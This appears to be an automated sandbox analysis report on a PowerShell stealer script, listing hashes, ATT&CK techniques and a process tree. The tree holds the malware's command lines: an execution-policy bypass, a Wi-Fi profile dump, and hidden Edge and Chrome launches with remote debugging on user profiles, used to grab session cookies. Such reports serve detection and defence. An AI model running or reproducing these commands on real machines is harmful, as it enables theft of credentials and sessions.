0ca651d6ee6c6088a07ed3b87bf3a2312dd68eed57ca01f4672672ab21b422b5

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 15:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.ps1
Size 76KB
Sample260820-spl7hazdma
SHA256 0ca651d6ee6c6088a07ed3b87bf3a2312dd68eed57ca01f4672672ab21b422b5
MD5 409223e0b38b172db16283f6271744f3
SHA1 69e3dfae2ba624fa7bcd6a78b9326938c438a059
SHA512 0ec6d9d9cf47968cb76ee3536385e5f291cf30fc236813824922d226f2fd026aeb0edc72b76257e71635f03a21635029e33672bfb718fac2d809a9999b12336b
SSDEEP 1536:+nmboUSvUBuv3cA6JQ51Q3EK/bLiXLA2P:+mboUSvUBuv3cA6JQ5O3HvibAY
TLSH
T11E73C5096D52816996F3637AFFE1C40DFE231537022D5714BDEE84902FB0B29C2B9EA5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution persistence privilege_escalation stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1136	PowerShell.exe
32	1136	PowerShell.exe

Uses browser remote debugging 2 TTPs 19 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3428	msedge.exe
5484	msedge.exe
1564	msedge.exe
2996	msedge.exe
1464	msedge.exe
2572	chrome.exe
4580	msedge.exe
2820	msedge.exe
1528	msedge.exe
1380	chrome.exe
3332	chrome.exe
1100	chrome.exe
4304	msedge.exe
1416	msedge.exe
5248	msedge.exe
4272	chrome.exe
5096	msedge.exe
4848	msedge.exe
2392	chrome.exe

Deletes itself 1 IoCs

pid	Process
1136	PowerShell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1136	PowerShell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2536	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2868	msedge.exe
6080	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe
1136	PowerShell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
4304	msedge.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe
1100	chrome.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1136	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	1136	PowerShell.exe
Token: SeSecurityPrivilege	1136	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1136	PowerShell.exe
Token: SeLoadDriverPrivilege	1136	PowerShell.exe
Token: SeSystemProfilePrivilege	1136	PowerShell.exe
Token: SeSystemtimePrivilege	1136	PowerShell.exe
Token: SeProfSingleProcessPrivilege	1136	PowerShell.exe
Token: SeIncBasePriorityPrivilege	1136	PowerShell.exe
Token: SeCreatePagefilePrivilege	1136	PowerShell.exe
Token: SeBackupPrivilege	1136	PowerShell.exe
Token: SeRestorePrivilege	1136	PowerShell.exe
Token: SeShutdownPrivilege	1136	PowerShell.exe
Token: SeDebugPrivilege	1136	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	1136	PowerShell.exe
Token: SeRemoteShutdownPrivilege	1136	PowerShell.exe
Token: SeUndockPrivilege	1136	PowerShell.exe
Token: SeManageVolumePrivilege	1136	PowerShell.exe
Token: 33	1136	PowerShell.exe
Token: 34	1136	PowerShell.exe
Token: 35	1136	PowerShell.exe
Token: 36	1136	PowerShell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4304	msedge.exe
1100	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 5296	1136	PowerShell.exe	90
PID 5296 wrote to memory of 2672	5296	csc.exe	91
PID 1136 wrote to memory of 2536	1136	PowerShell.exe	93
PID 1136 wrote to memory of 4304	1136	PowerShell.exe	95
PID 4304 wrote to memory of 5852	4304	msedge.exe	96
PID 4304 wrote to memory of 540	4304	msedge.exe	98
PID 4304 wrote to memory of 2868	4304	msedge.exe	97
PID 4304 wrote to memory of 540	4304	msedge.exe	98
PID 4304 wrote to memory of 540	4304	msedge.exe	98
PID 4304 wrote to memory of 5952	4304	msedge.exe	99
PID 4304 wrote to memory of 5952	4304	msedge.exe	99
PID 4304 wrote to memory of 1464	4304	msedge.exe	100
PID 4304 wrote to memory of 5248	4304	msedge.exe	101
PID 4304 wrote to memory of 1464	4304	msedge.exe	100
PID 4304 wrote to memory of 1464	4304	msedge.exe	100
PID 4304 wrote to memory of 5248	4304	msedge.exe	101
PID 4304 wrote to memory of 5248	4304	msedge.exe	101
PID 4304 wrote to memory of 4848	4304	msedge.exe	102
PID 4304 wrote to memory of 1416	4304	msedge.exe	104
PID 4304 wrote to memory of 1564	4304	msedge.exe	106
PID 4304 wrote to memory of 2996	4304	msedge.exe	105
PID 4304 wrote to memory of 5484	4304	msedge.exe	107
PID 4304 wrote to memory of 1528	4304	msedge.exe	108
PID 4304 wrote to memory of 2820	4304	msedge.exe	109
PID 4304 wrote to memory of 4848	4304	msedge.exe	102
PID 4304 wrote to memory of 4848	4304	msedge.exe	102
PID 4304 wrote to memory of 5096	4304	msedge.exe	103
PID 4304 wrote to memory of 4580	4304	msedge.exe	110
PID 4304 wrote to memory of 1416	4304	msedge.exe	104
PID 4304 wrote to memory of 1416	4304	msedge.exe	104
PID 4304 wrote to memory of 3428	4304	msedge.exe	111
PID 4304 wrote to memory of 1564	4304	msedge.exe	106
PID 4304 wrote to memory of 1564	4304	msedge.exe	106
PID 4304 wrote to memory of 2996	4304	msedge.exe	105
PID 4304 wrote to memory of 2996	4304	msedge.exe	105
PID 4304 wrote to memory of 5484	4304	msedge.exe	107
PID 4304 wrote to memory of 5484	4304	msedge.exe	107
PID 4304 wrote to memory of 1528	4304	msedge.exe	108
PID 4304 wrote to memory of 1528	4304	msedge.exe	108
PID 4304 wrote to memory of 2820	4304	msedge.exe	109
PID 4304 wrote to memory of 2820	4304	msedge.exe	109
PID 4304 wrote to memory of 5096	4304	msedge.exe	103
PID 4304 wrote to memory of 5096	4304	msedge.exe	103
PID 4304 wrote to memory of 4580	4304	msedge.exe	110
PID 4304 wrote to memory of 4580	4304	msedge.exe	110
PID 4304 wrote to memory of 3428	4304	msedge.exe	111
PID 4304 wrote to memory of 3428	4304	msedge.exe	111
PID 1136 wrote to memory of 1100	1136	PowerShell.exe	112
PID 1100 wrote to memory of 3168	1100	chrome.exe	113
PID 1100 wrote to memory of 6080	1100	chrome.exe	114
PID 1100 wrote to memory of 1504	1100	chrome.exe	115
PID 1100 wrote to memory of 1504	1100	chrome.exe	115
PID 1100 wrote to memory of 4308	1100	chrome.exe	116
PID 1100 wrote to memory of 4308	1100	chrome.exe	116
PID 1100 wrote to memory of 3332	1100	chrome.exe	117
PID 1100 wrote to memory of 3332	1100	chrome.exe	117
PID 1100 wrote to memory of 2572	1100	chrome.exe	118
PID 1100 wrote to memory of 2572	1100	chrome.exe	118
PID 1100 wrote to memory of 4272	1100	chrome.exe	119
PID 1100 wrote to memory of 2392	1100	chrome.exe	120
PID 1100 wrote to memory of 4272	1100	chrome.exe	119
PID 1100 wrote to memory of 2392	1100	chrome.exe	120
PID 1100 wrote to memory of 1380	1100	chrome.exe	121
PID 1100 wrote to memory of 1380	1100	chrome.exe	121

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	35	curl/8.8.0
HTTP User-Agent header	41	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
1⤵
- Badlisted process makes network request
- Deletes itself
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ujnkjogv\ujnkjogv.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5296
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6671.tmp" "c:\Users\Admin\AppData\Local\Temp\ujnkjogv\CSCC4DC4DA62C79474BA6C06C1A7891DE2.TMP"
    3⤵
    PID:2672
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data --no-first-run --no-default-browser-check --disable-gpu --disable-extensions --disable-background-networking --disable-sync --restore-last-session --window-position=-10000,-10000 --window-size=1,1 --disable-features=LockProfileCookieDatabase
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x274,0x7ffce50cc188,0x7ffce50cc194,0x7ffce50cc1a0
    3⤵
    PID:5852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,5656640436852495451,2810286717102807766,524288 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1684,i,15025377437057959580,6903541618980495945,262144 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
    3⤵
    PID:540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2412,i,11362946609043048115,11007707134517693222,524288 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:13
    3⤵
    PID:5952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,11268283334363429395,9280563987010656617,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,608033000856275054,11100182306838543076,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4064,i,17445587989928759510,17124501352639609262,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4076,i,3845994678061445482,1760333025596683633,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4476 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:5096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4104,i,10719526829546023956,11069429080057623866,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4148,i,3272697218530759680,14813053983824790741,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4128,i,2911591061667301488,6844640068162014627,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:1564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4192,i,16353266445334119265,17605979569738122483,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4160,i,6016072133608320061,1959579803317665114,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:1528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4236,i,2278663472564256562,1205612571168684488,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:2820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4268,i,18112112503468082342,4499399803189804842,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:4580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9223 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4264,i,10837244925997575588,4525593963493482963,2097152 --field-trial-handle=2336,i,14550840599007970919,10181167770634616378,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data --no-first-run --no-default-browser-check --disable-gpu --disable-extensions --disable-background-networking --disable-sync --restore-last-session --window-position=-10000,-10000 --window-size=1,1 --disable-features=LockProfileCookieDatabase
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\User\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffce50ec728,0x7ffce50ec734,0x7ffce50ec740
    3⤵
    PID:3168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --force-high-res-timeticks=disabled --metrics-shmem-handle=1880,i,6489019613615619528,4706745720354790833,524288 --field-trial-handle=1992,i,306888175137552427,862060527282241819,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,3358074465602474644,11439298645320720213,262144 --field-trial-handle=1992,i,306888175137552427,862060527282241819,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:2
    3⤵
    PID:1504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --force-high-res-timeticks=disabled --metrics-shmem-handle=2232,i,5987708211907870242,10801314644444477593,524288 --field-trial-handle=1992,i,306888175137552427,862060527282241819,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:13
    3⤵
    PID:4308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3164,i,9368244232525328339,4044320342560572079,2097152 --field-trial-handle=1992,i,306888175137552427,862060527282241819,262144 --disable-features=LockProfileCookieDatabase --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
